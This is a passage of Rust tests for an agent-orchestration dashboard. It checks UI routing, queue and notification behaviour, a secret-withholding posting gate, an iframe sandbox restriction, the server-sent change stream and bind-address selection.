19457        assert!(QuestionView::of(q, &store, None).posting_view.is_none());
19458    }
19459
19460    #[test]
19461    fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
19462        let store = ask::Questions::at(PathBuf::from("unused"));
19463        let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
19464        let gt = crate::github_text::Withheld::from_check(
19465            &crate::github_text::check("fix: x", body),
19466            "fix: x",
19467            body,
19468        )
19469        .unwrap();
19470        let (detail, comparison) =
19471            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
19472        let mut q = Question::new(
19473            "r".into(),
19474            "github-text".into(),
19475            "posting-gate".into(),
19476            "s".into(),
19477            detail,
19478            Vec::new(),
19479        );
19480        q.posting_comparison = Some(comparison);
19481        let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
19482        let field = &value["posting_view"]["fields"][0];
19483        let group = &field["replacement_group"];
19484        let triggers = group["triggers"].as_array().unwrap();
19485        assert_eq!(triggers.len(), 2);
19486        assert_ne!(triggers[0], triggers[1]);
19487        for id in triggers {
19488            assert!(
19489                field["original"]
19490                    .as_array()
19491                    .unwrap()
19492                    .iter()
19493                    .any(|f| &f["pair"] == id)
19494            );
19495            assert!(
19496                !field["changed"]
19497                    .as_array()
19498                    .unwrap()
19499                    .iter()
19500                    .any(|f| &f["pair"] == id)
19501            );
19502        }
19503        q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
19504            group["id"].as_u64().unwrap() as usize;
19505        assert!(
19506            QuestionView::of(q, &store, None).posting_view.is_none(),
19507            "group and trigger IDs cannot collide"
19508        );
19509    }
19510
19511    #[test]
19512    fn a_question_view_carries_markdown_for_each_thread_turn() {
19513        let home = TempDir::new().unwrap();
19514        let store = ask::Questions::at(home.path().join("questions"));
19515        let mut q = Question::new(
19516            "run".to_owned(),
19517            "implement".to_owned(),
19518            "impl-A".to_owned(),
19519            "which?".to_owned(),
19520            String::new(),
19521            Vec::new(),
19522        );
19523        q.say("plain words").unwrap();
19524        q.reply("use **this**", Vec::new()).unwrap();
19525        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
19526        let bodies = &v["thread_bodies_md"];
19527        assert_eq!(bodies.as_array().unwrap().len(), 2);
19528        assert!(!bodies[0].to_string().contains("strong"));
19529        assert!(bodies[1].to_string().contains("strong"));
19530    }
19531
19532    #[test]
19533    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
19534        let home = TempDir::new().unwrap();
19535        let store = ask::Questions::at(home.path().join("questions"));
19536        let mut q = Question::new(
19537            "run".to_owned(),
19538            "conduct".to_owned(),
19539            "conduct".to_owned(),
19540            "which?".to_owned(),
19541            String::new(),
19542            Vec::new(),
19543        );
19544        q.say("plain words").unwrap();
19545        q.thread.push(ask::Turn {
19546            who: ask::Who::Agent,
19547            body: "Settled as `merge`".to_owned(),
19548            at: jiff::Timestamp::now(),
19549            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
19550        });
19551        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
19552        let notes = &v["thread_notes_md"];
19553        assert_eq!(notes.as_array().unwrap().len(), 2);
19554        assert!(notes[0].is_null());
19555        let text = notes[1].to_string();
19556        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
19557        assert!(APP_JS.contains("ask-turn-note"));
19558    }
19559
19560    #[test]
19561    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
19562        // The land panel defers to `run.status` for merged, and labels a
19563        // recorded-open PR on any finished run (superseded, blocked, ...) as
19564        // last seen, never as live state.
19565        assert!(APP_JS.contains("function landView(run, raw) {"));
19566        assert!(
19567            APP_JS.contains(
19568                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
19569            )
19570        );
19571        assert!(APP_JS.contains("const pr = landView(run, raw);"));
19572        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
19573        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
19574        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
19575    }
19576
19577    #[test]
19578    fn live_runs_are_never_hidden_or_folded_as_superseded() {
19579        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
19580        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
19581        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
19582        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
19583    }
19584
19585    #[test]
19586    fn review_rounds_label_a_distinct_verified_head() {
19587        assert!(APP_JS.contains("round.verified_head"));
19588        assert!(APP_JS.contains("verified HEAD"));
19589        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
19590    }
19591
19592    #[test]
19593    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
19594        // A blocked task's chip and note must not fall back to a queued-like
19595        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
19596        // itself by e11fc58 but never checked here.
19597        assert!(APP_JS.contains("blocked: { glyph:"));
19598        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
19599
19600        // `blocked_by` mixes task ids and question ids in the same list, and
19601        // the client can only tell them apart by checking each id against
19602        // what it actually knows - never by guessing from the id's shape.
19603        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
19604        assert!(
19605            APP_JS.contains(
19606                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
19607            ),
19608            "the note line must name what a blocked task is waiting on, not just that it is blocked"
19609        );
19610        // The classification must key off `status_str`, never off `blocked_by`
19611        // or `block_reason` merely being present - both can survive briefly
19612        // on a task a hold or a dead daemon just moved off `blocked`.
19613        assert!(APP_JS.contains("if (status === \"blocked\") {"));
19614
19615        // A question a task is blocked on gets its own node in the same
19616        // dependency graph, not just a task-shaped node with nothing known
19617        // about it.
19618        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
19619        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
19620        assert!(
19621            APP_JS.contains("location.hash = \"#/questions\";"),
19622            "a question node must jump to the Questions screen, not pretend to be a task"
19623        );
19624
19625        // `Task::answers` - decisions already made - are shown as a record on
19626        // the card, the same disclosure style as the full instruction.
19627        assert!(APP_JS.contains("Resolved questions"));
19628        assert!(APP_JS.contains("r.answersList.append("));
19629        assert!(APP_CSS.contains(".task-answers"));
19630        {
19631            let start = APP_JS
19632                .find("function updateTalkTaskRow")
19633                .expect("updateTalkTaskRow");
19634            let body = &APP_JS[start..];
19635            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
19636            assert!(
19637                body.contains(
19638                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
19639                ),
19640                "a chat-filed task row must link to the task page"
19641            );
19642            assert!(
19643                !body.contains("#/runs/") && !body.contains("#/queue/"),
19644                "the row must not branch to a run or the queue card"
19645            );
19646            assert!(APP_CSS.contains(".talk-task-link"));
19647        }
19648    }
19649
19650    #[test]
19651    fn a_task_notification_links_to_the_task_page() {
19652        // A task notice opens the task detail page, not the Backlog card.
19653        let start = APP_JS
19654            .find("function noticeLink(")
19655            .expect("noticeLink exists");
19656        let body = &APP_JS[start..];
19657        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
19658        assert!(
19659            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
19660            "a task notice's link must target the task page"
19661        );
19662        assert!(
19663            !body.contains("#/queue/"),
19664            "regression: the task link must not go back to the Backlog route"
19665        );
19666        assert!(
19667            APP_JS.contains(
19668                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
19669            ),
19670            "`#/tasks/<id>` must parse into the task route"
19671        );
19672
19673        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
19674        assert!(
19675            APP_JS.contains(
19676                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
19677            ),
19678            "`#/queue/<id>` must parse into a route carrying that id"
19679        );
19680
19681        // And the Backlog view has to actually land on the card once it can
19682        // - see consumeQueueFocus(), which renderQueue() calls on every pass
19683        // so a focus set before the queue has loaded is retried once it has.
19684        assert!(APP_JS.contains("state.queueFocus = route.id;"));
19685        assert!(APP_JS.contains("function consumeQueueFocus()"));
19686        assert!(APP_JS.contains("jumpToTask(id)"));
19687    }
19688
19689    #[test]
19690    fn notifications_distinguish_actionable_questions_from_informational_notices() {
19691        let start = APP_JS
19692            .find("function noticeCoveredBy(")
19693            .expect("noticeCoveredBy exists");
19694        let body = &APP_JS[start..];
19695        let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
19696
19697        // Historical associations are informational, even for open questions.
19698        assert!(body.contains("Associated question ${short}"));
19699        assert!(!body.contains("el(\"a\""));
19700
19701        // A resolved question displays status rather than an actionable link
19702        assert!(body.contains("(resolved)"));
19703        assert!(body.contains("(closed)"));
19704
19705        let start = APP_JS
19706            .find("function renderNotifications()")
19707            .expect("renderNotifications exists");
19708        let body = &APP_JS[start..];
19709        let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
19710
19711        // Only a server-resolved answerable question supplies a response link.
19712        assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
19713        assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
19714        assert!(body.contains("text: \"Open question to respond\",\n    }) : null;"));
19715        assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
19716    }
19717
19718    /// Chat rows are two lines at every width: the title alone, then the
19719    /// shrinkable secondary info.
19720    #[test]
19721    fn chat_rows_put_the_title_alone_on_the_first_line() {
19722        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
19723        assert!(APP_CSS.contains(
19724            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
19725        ));
19726        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
19727        assert!(APP_JS.contains("class: \"badge talk-unread\""));
19728    }
19729
19730    #[test]
19731    fn run_rows_put_the_title_alone_on_the_first_line() {
19732        assert!(
19733            APP_CSS.contains(
19734                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
19735            )
19736        );
19737        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
19738        assert!(APP_JS.contains("class: \"card run-card\""));
19739        assert!(APP_JS.contains("class: \"repo run-id\""));
19740    }
19741
19742    /// Wide screens get a master/detail layout built from the views a phone
19743    /// drills into. These are string assertions: they pin the contract between
19744    /// the three assets, not how it looks.
19745    #[test]
19746    fn wide_screens_show_list_and_preview_side_by_side() {
19747        // One breakpoint, spelled the same in the script and the stylesheet.
19748        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
19749        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
19750        assert!(APP_CSS.contains("main[data-split]"));
19751        assert!(APP_CSS.contains("body[data-split]"));
19752
19753        // The route -> panes table, and a narrow screen opting out of it.
19754        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
19755        assert!(
19756            APP_JS.contains(
19757                "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
19758            )
19759        );
19760        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
19761        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
19762        assert!(INDEX_HTML.contains("id=\"split-empty\""));
19763
19764        // Selection is derived from the route, and only ever paints a row.
19765        assert!(APP_JS.contains("function markSelected() {"));
19766        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
19767        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
19768        // The dense row must override the stacked card the 720px block sets up.
19769        assert!(
19770            APP_CSS.contains(
19771                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
19772            )
19773        );
19774
19775        // Independent scrolling: the page stops scrolling, each pane does.
19776        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
19777        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
19778        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
19779        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
19780
19781        // A refresh must never navigate: the loaders still check that their
19782        // subject is the one on screen, and crossing the breakpoint only
19783        // re-reads the hash.
19784        assert!(APP_JS.contains("if (state.detail !== detail) return;"));
19785        assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
19786        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
19787        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
19788
19789        // The panel sandbox carries exactly allow-popups and allow-popups-to-escape-sandbox.
19790        assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
19791    }
19792
19793    #[test]
19794    fn panel_sandbox_carries_exactly_popups() {
19795        let needle = "sandbox: \"";
19796        let matches: Vec<_> = APP_JS.match_indices(needle).collect();
19797        assert_eq!(
19798            matches.len(),
19799            1,
19800            "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
19801        );
19802        let start = matches[0].0 + needle.len();
19803        let end = APP_JS[start..]
19804            .find('"')
19805            .expect("sandbox attribute value must be terminated by a closing quote");
19806        let val = &APP_JS[start..start + end];
19807        let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
19808        let expected: std::collections::BTreeSet<&str> =
19809            ["allow-popups", "allow-popups-to-escape-sandbox"]
19810                .into_iter()
19811                .collect();
19812        assert_eq!(tokens, expected, "sandbox tokens must match exactly");
19813        assert!(
19814            !tokens.contains("allow-scripts"),
19815            "allow-scripts must never be present in sandbox"
19816        );
19817        assert!(
19818            !tokens.contains("allow-same-origin"),
19819            "allow-same-origin must never be present in sandbox"
19820        );
19821    }
19822
19823    #[test]
19824    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
19825        // consumeQueueFocus() clears an active Backlog search before it can
19826        // scroll to the target card (the sections list is hidden while a
19827        // search is showing), by recursing back into renderQueue(). The
19828        // fixer's first cut nulled state.queueFocus before that recursive
19829        // call, so the second pass saw nothing to jump to and the jump was
19830        // silently dropped whenever a notification's link was opened with a
19831        // stale search still active. state.queueFocus must only be cleared
19832        // right before jumpToTask() actually runs.
19833        assert!(
19834            APP_JS.contains(
19835                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
19836            ),
19837            "the search-clearing branch must run before state.queueFocus is cleared, or the \
19838             recursive renderQueue() call has nothing left to jump to"
19839        );
19840        assert!(
19841            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
19842            "state.queueFocus must be cleared only once the jump has landed, so a card that \
19843             arrives later still gets it"
19844        );
19845        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
19846        assert!(APP_JS.contains("is not in the current Backlog."));
19847        assert!(APP_JS.contains("li.card[data-task-id=\""));
19848        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
19849        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
19850        assert!(APP_CSS.contains(".card-permalink"));
19851        assert!(APP_CSS.contains(".queue-focus-status"));
19852        assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
19853    }
19854
19855    #[test]
19856    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
19857        // The task's own repro: only the link text inside .notice-meta was
19858        // clickable, so a tap on the message, the timestamp, or the card's
19859        // padding did nothing - on a phone that reads as "the card doesn't
19860        // work" even though the tiny link inside it did. Mark read / Dismiss
19861        // must keep working independently of this: `.closest("a, button")`
19862        // is what lets a tap that actually lands on those elements fall
19863        // through instead of being hijacked into a navigation.
19864        assert!(
19865            APP_JS.contains(
19866                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
19867            ),
19868            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
19869        );
19870    }
19871
19872    #[test]
19873    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
19874        assert!(
19875            APP_JS.contains("round.verified_head !== round.head"),
19876            "a round that verified an earlier commit must be visibly distinct from one that \
19877             verified the head reviewers are looking at now"
19878        );
19879        assert!(
19880            APP_JS.contains("round.verified_at"),
19881            "when a check ran must be on the wire, not just which commit"
19882        );
19883        assert!(
19884            APP_JS.contains("resource_blocked"),
19885            "a command magi never got to run (shared build cache contention) must not render \
19886             the same as a command that ran and failed"
19887        );
19888    }
19889
19890    #[test]
19891    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
19892        // Every KPI tile but Total runs and Completion names an exact
19893        // RunStatus and hands it to openRunsFiltered(), which is what wires
19894        // the click into state.runsFilter.status (matchesFilter's own
19895        // status check) rather than the coarser runsStateFilter chips. Each
19896        // status literal here must be one of the strings runSection() (and
19897        // isStale()) actually compare a run's own `status` field against -
19898        // a status this dashboard invented would filter to nothing.
19899        assert!(
19900            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
19901            "every KPI tile built through statusTile() must route its click through \
19902             openRunsFiltered, the single place that sets the Runs filter"
19903        );
19904        for (label, status) in [
19905            ("Merged", "merged"),
19906            ("Ready", "ready"),
19907            ("Blocked", "blocked"),
19908            ("Stalled", "stalled"),
19909        ] {
19910            let call = format!("statusTile(\"{label}\", t.{status}, ");
19911            assert!(
19912                APP_JS.contains(&call),
19913                "expected the {label} KPI tile built via {call}..."
19914            );
19915            assert!(
19916                APP_JS.contains(&format!("status === \"{status}\"")),
19917                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
19918                 compare a run against, not one invented only for the stats tile"
19919            );
19920        }
19921        assert!(
19922            APP_JS.contains("function openRunsFiltered(status)"),
19923            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
19924        );
19925        assert!(
19926            APP_JS.contains(
19927                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
19928            ),
19929            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
19930        );
19931        // applyRoute() only flips which view is visible for a plain `#runs`
19932        // hash - it does not itself redraw the list (see applyRoute's own
19933        // handling below) - so openRunsFiltered must call renderRuns()
19934        // itself, and must call applyRoute() too so the view flips even
19935        // when the hash string doesn't change (the operator may already be
19936        // on the Runs view when a tile is tapped, which fires no
19937        // hashchange event at all).
19938        assert!(
19939            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
19940            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
19941             hashchange event that may never fire"
19942        );
19943    }
19944
19945    #[test]
19946    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
19947        // A stats tile can leave state.runsFilter.status set to something
19948        // done-by-construction (e.g. "merged") - picking "Active" afterward
19949        // must drop it the same way an incompatible tree section is already
19950        // dropped, or the Runs list renders permanently empty with no way
19951        // for the operator to tell why.
19952        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
19953        assert!(
19954            APP_JS.contains(
19955                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
19956            ),
19957            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
19958             guard for an incompatible tree section"
19959        );
19960    }
19961
19962    #[test]
19963    fn every_stats_queue_tile_names_a_real_queue_section() {
19964        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
19965        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
19966        // (consumeQueueSectionFocus finds no matching <details> and drops
19967        // the focus) rather than fail loudly, so pin every key against the
19968        // section list it has to resolve against.
19969        assert!(
19970            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
19971            "every queue tile built through sectionTile() must route its click through \
19972             openQueueSectionFocus"
19973        );
19974        for key in ["upnext", "running", "done", "held", "blocked"] {
19975            assert!(
19976                APP_JS.contains(&format!("{{ key: \"{key}\",")),
19977                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
19978            );
19979        }
19980        // Queued and Failed intentionally both resolve to "upnext" - the
19981        // same section queueSection() itself files them under - rather than
19982        // getting a section each.
19983        for line in [
19984            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
19985            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
19986            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
19987            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
19988            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
19989            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
19990        ] {
19991            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
19992        }
19993    }
19994
19995    #[test]
19996    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
19997        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
19998        // above for the section-focus channel a stats queue tile drives:
19999        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
20000        // through the stale-search-clear recursion into renderQueue(), and
20001        // clear it only once revealQueueSection() is actually about to run -
20002        // the same trap that once silently dropped a task-focus jump.
20003        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
20004        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
20005        assert!(APP_JS.contains("function revealQueueSection(details)"));
20006        assert!(
20007            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
20008            "renderQueue() must consume both focus channels on every pass"
20009        );
20010        assert!(
20011            APP_JS.contains(
20012                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
20013            ),
20014            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
20015             the recursive renderQueue() call has nothing left to reveal"
20016        );
20017        assert!(
20018            APP_JS.contains(
20019                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
20020            ),
20021            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
20022        );
20023        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
20024        // task-focus form of the hash - a plain `#queue` navigation only
20025        // flips which view is visible. openQueueSectionFocus() must
20026        // therefore call renderQueue() itself, and applyRoute() too so the
20027        // view flips even when the hash doesn't change (the Backlog may
20028        // already be open when a tile is tapped, firing no hashchange
20029        // event at all).
20030        assert!(
20031            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
20032            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
20033             hashchange event that may never fire"
20034        );
20035    }
20036
20037    #[tokio::test]
20038    async fn the_change_stream_announces_the_current_revisions_on_connect() {
20039        let f = Fixture::start().await;
20040
20041        let mut socket = tokio::net::TcpStream::connect(f.addr)
20042            .await
20043            .expect("connect");
20044        socket
20045            .write_all(
20046                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
20047            )
20048            .await
20049            .expect("write request");
20050
20051        // Read until the first event arrives rather than to end of stream: the
20052        // stream is endless by design, which is the point of the route.
20053        let mut seen = String::new();
20054        let mut buf = [0u8; 1024];
20055        while !seen.contains("event: change") {
20056            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
20057                .await
20058                .expect("the stream must speak within five seconds")
20059                .expect("read");
20060            assert!(read > 0, "the server closed the change stream: {seen}");
20061            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
20062        }
20063
20064        assert!(
20065            seen.to_lowercase()
20066                .contains("content-type: text/event-stream"),
20067            "the browser only reconnects automatically for a real SSE stream: {seen}"
20068        );
20069        let data = seen
20070            .lines()
20071            .find_map(|l| l.strip_prefix("data:"))
20072            .expect("a data line");
20073        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
20074        assert!(
20075            payload["queue_rev"].is_u64()
20076                && payload["runs_rev"].is_u64()
20077                && payload["questions_rev"].is_u64()
20078                && payload["talks_rev"].is_u64()
20079                && payload["notifications_rev"].is_u64()
20080                && payload["loop_rev"].is_u64(),
20081            "the client needs one revision per store to know what to refetch, \
20082             and `talks_rev` is the only notification a standing talk gets - a \
20083             phone whose radio slept through a turn learns about it here, as \
20084             does one whose operator started the loop from another device: \
20085             {payload}"
20086        );
20087
20088        // The front end re-polls health on a timer and on wake, and takes the
20089        // revisions from that answer whenever the stream is not up. So health
20090        // has to carry every key the stream carries: a phone on a link that
20091        // will not hold an SSE connection is exactly the phone that must still
20092        // notice a question, and a missing key there is not a 500 but a UI
20093        // that quietly stops updating.
20094        let health = f.get("/api/health").await.json();
20095        for key in [
20096            "queue_rev",
20097            "runs_rev",
20098            "questions_rev",
20099            "talks_rev",
20100            "notifications_rev",
20101            "loop_rev",
20102        ] {
20103            assert!(
20104                health[key].is_u64(),
20105                "health is the change stream's fallback and is missing `{key}`: {health}"
20106            );
20107        }
20108    }
20109
20110    #[tokio::test]
20111    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
20112        let f = Fixture::start().await;
20113        let before = f.get("/api/health").await.json()["talks_rev"]
20114            .as_u64()
20115            .expect("talks_rev");
20116
20117        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
20118        std::thread::sleep(Duration::from_millis(10));
20119        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
20120        on_disk.turns.push(crate::talk::Turn {
20121            sender: None,
20122            breaks: Some(Vec::new()),
20123            messages: Vec::new(),
20124            posted_by: None,
20125            who: crate::talk::Who::Operator,
20126            body: "a new turn".to_owned(),
20127            at: Timestamp::now(),
20128            attachments: Vec::new(),
20129            usage: None,
20130        });
20131        f.talks().put(&mut on_disk).expect("record a turn");
20132
20133        let after = tokio::time::timeout(Duration::from_secs(5), async {
20134            loop {
20135                let revision = f.get("/api/health").await.json()["talks_rev"]
20136                    .as_u64()
20137                    .unwrap();
20138                if revision != before {
20139                    break revision;
20140                }
20141                tokio::time::sleep(Duration::from_millis(50)).await;
20142            }
20143        })
20144        .await
20145        .expect("shared monitor observes external turn");
20146        assert_ne!(
20147            before, after,
20148            "a phone must be able to notice a talk's reply without polling every store"
20149        );
20150    }
20151
20152    #[test]
20153    fn bind_reads_back_from_the_spelling_the_cli_prints() {
20154        // The CLI shows the default in `--help` and parses whatever comes
20155        // back, so the two directions have to agree or `--bind auto` breaks
20156        // the moment someone copies the help text.
20157        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
20158            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
20159        }
20160        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
20161        assert!("everywhere".parse::<Bind>().is_err());
20162    }
20163
20164    #[test]
20165    fn an_explicit_bind_address_is_taken_verbatim() {
20166        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
20167
20168        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
20169
20170        assert_eq!(addr, asked);
20171        assert!(
20172            warning.is_none(),
20173            "an operator who named an address gets no lecture"
20174        );
20175    }
20176
20177    #[test]
20178    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
20179        let (addr, warning) = resolve_bind(&Bind::Auto);
20180
20181        // This has to hold on a CI runner with no `tailscale` and on a dev box
20182        // with one, so the invariant asserted is the one shared by both
20183        // outcomes: the address is either a real tailnet address offered
20184        // without comment, or loopback with an explanation. What must never
20185        // happen is a silent fallback - an operator told "listening on
20186        // 127.0.0.1" with no reason would go looking for a firewall.
20187        match addr {
20188            IpAddr::V4(ip) if is_tailnet(&ip) => {
20189                assert!(warning.is_none(), "a tailnet address needs no warning");
20190            }
20191            other => {
20192                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
20193                let warning = warning.expect("a fallback has to explain itself");
20194                assert!(
20195                    warning.contains("127.0.0.1") && warning.contains("local-only"),
20196                    "the warning says what happened and what it costs: {warning}"
20197                );
20198            }
20199        }
20200    }
20201
20202    #[test]
20203    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
20204        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
20205        // boundary cases are what stop us binding to some other tool's idea of
20206        // an address.
20207        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
20208        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
20209        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
20210        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
20211        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
20212    }
20213
20214    #[test]
20215    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
20216        let ids = vec![
20217            "20260902-140501-aaaa".to_owned(),
20218            "20260902-140502-aabb".to_owned(),
20219        ];
20220
20221        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
20222        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
20223        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
20224
20225        assert_eq!(missing.status, StatusCode::NOT_FOUND);
20226        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
20227        assert_eq!(short, "20260902-140502-aabb");
20228    }
20229    #[tokio::test]
20230    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
20231        // The prompt tells agents to reference attachments by bare filename.
